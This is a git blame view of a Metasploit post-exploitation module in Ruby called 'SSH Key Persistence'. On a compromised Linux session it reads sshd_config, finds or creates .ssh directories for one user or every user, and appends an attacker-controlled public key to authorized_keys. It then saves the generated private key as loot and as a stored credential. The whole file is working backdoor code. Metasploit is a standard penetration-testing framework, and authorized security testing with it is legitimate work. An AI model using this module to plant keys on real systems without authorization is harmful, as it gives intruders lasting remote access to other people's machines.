Files
metasploit-gs/modules/post/linux/manage/sshkey_persistence.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

142 lines
4.3 KiB
Ruby
Raw Normal View History

2016-06-19 22:40:03 -04:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2016-06-19 22:40:03 -04:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'sshkey'
class MetasploitModule < Msf::Post
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Unix
def initialize(info = {})
super(
update_info(
info,
2021-09-10 12:53:39 +01:00
'Name' => 'SSH Key Persistence',
'Description' => %q{
2016-06-19 22:40:03 -04:00
This module will add an SSH key to a specified user (or all), to allow
remote login via SSH at any time.
},
2021-09-10 12:53:39 +01:00
'License' => MSF_LICENSE,
'Author' => [
'h00die <mike@shorebreaksecurity.com>'
],
'Platform' => [ 'linux' ],
2021-10-06 13:43:31 +01:00
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_separator
]
}
}
2016-06-19 22:40:03 -04:00
)
)
register_options(
[
2016-07-15 08:21:17 -04:00
OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]),
OptPath.new('PUBKEY', [false, 'Public Key File to use. (Default: Create a new one)' ]),
OptString.new('SSHD_CONFIG', [true, 'sshd_config file', '/etc/ssh/sshd_config' ]),
OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for a user', false ])
2016-06-19 22:40:03 -04:00
], self.class
)
end
def run
2023-02-08 13:47:34 +00:00
if session.type == 'meterpreter'
2016-06-19 22:40:03 -04:00
sep = session.fs.file.separator
else
# Guess, but it's probably right
2023-02-08 13:47:34 +00:00
sep = '/'
2016-06-19 22:40:03 -04:00
end
print_status('Checking SSH Permissions')
2016-07-15 08:21:17 -04:00
sshd_config = read_file(datastore['SSHD_CONFIG'])
2023-02-08 13:47:34 +00:00
/^PubkeyAuthentication\s+(?<pub_key>yes|no)/ =~ sshd_config
2016-06-19 22:40:03 -04:00
if pub_key && pub_key == 'no'
print_error('Pubkey Authentication disabled')
elsif pub_key
vprint_good("Pubkey set to #{pub_key}")
end
2023-02-08 13:47:34 +00:00
%r{^AuthorizedKeysFile\s+(?<auth_key_file>[\w%/.]+)} =~ sshd_config
2016-06-19 22:40:03 -04:00
if auth_key_file
auth_key_file = auth_key_file.gsub('%h', '')
auth_key_file = auth_key_file.gsub('%%', '%')
if auth_key_file.start_with? '/'
2023-02-08 13:47:34 +00:00
auth_key_file = auth_key_file[1..]
2016-06-19 22:40:03 -04:00
end
else
auth_key_file = '.ssh/authorized_keys'
end
print_status("Authorized Keys File: #{auth_key_file}")
auth_key_folder = auth_key_file.split('/')[0...-1].join('/')
auth_key_file = auth_key_file.split('/')[-1]
2016-07-15 08:21:17 -04:00
if datastore['USERNAME'].nil?
2016-06-19 22:40:03 -04:00
print_status("Finding #{auth_key_folder} directories")
paths = enum_user_directories.map { |d| d + "/#{auth_key_folder}" }
else
2016-07-15 08:21:17 -04:00
if datastore['USERNAME'] == 'root'
paths = ["/#{datastore['USERNAME']}/#{auth_key_folder}"]
2016-06-19 22:40:03 -04:00
else
2016-07-15 08:21:17 -04:00
paths = ["/home/#{datastore['USERNAME']}/#{auth_key_folder}"]
2016-06-19 22:40:03 -04:00
end
vprint_status("Added User SSH Path: #{paths.first}")
end
2016-07-15 08:21:17 -04:00
if datastore['CREATESSHFOLDER'] == true
2016-06-19 22:40:03 -04:00
vprint_status("Attempting to create ssh folders that don't exist")
paths.each do |p|
unless directory?(p)
print_status("Creating #{p} folder")
2016-07-15 08:21:17 -04:00
cmd_exec("mkdir -m 700 -p #{p}")
2016-06-19 22:40:03 -04:00
end
end
end
paths = paths.select { |d| directory?(d) }
if paths.nil? || paths.empty?
print_error("No users found with a #{auth_key_folder} directory")
return
end
write_key(paths, auth_key_file, sep)
end
def write_key(paths, auth_key_file, sep)
2016-07-15 08:21:17 -04:00
if datastore['PUBKEY'].nil?
2016-06-19 22:40:03 -04:00
key = SSHKey.generate
our_pub_key = key.ssh_public_key
2023-02-08 13:47:34 +00:00
loot_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File')
2016-06-19 22:40:03 -04:00
print_good("Storing new private key as #{loot_path}")
else
2016-07-15 08:21:17 -04:00
our_pub_key = ::File.read(datastore['PUBKEY'])
2016-06-19 22:40:03 -04:00
end
paths.each do |path|
path.chomp!
authorized_keys = "#{path}/#{auth_key_file}"
2016-06-21 16:52:40 -04:00
print_status("Adding key to #{authorized_keys}")
append_file(authorized_keys, "\n#{our_pub_key}")
2023-02-08 13:47:34 +00:00
print_good('Key Added')
next unless datastore['PUBKEY'].nil?
2016-06-19 22:40:03 -04:00
2023-02-08 13:47:34 +00:00
path_array = path.split(sep)
path_array.pop
user = path_array.pop
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: refname,
private_type: :ssh_key,
private_data: key.private_key.to_s,
username: user,
workspace_id: myworkspace_id
}
create_credential(credential_data)
2016-06-19 22:40:03 -04:00
end
end
end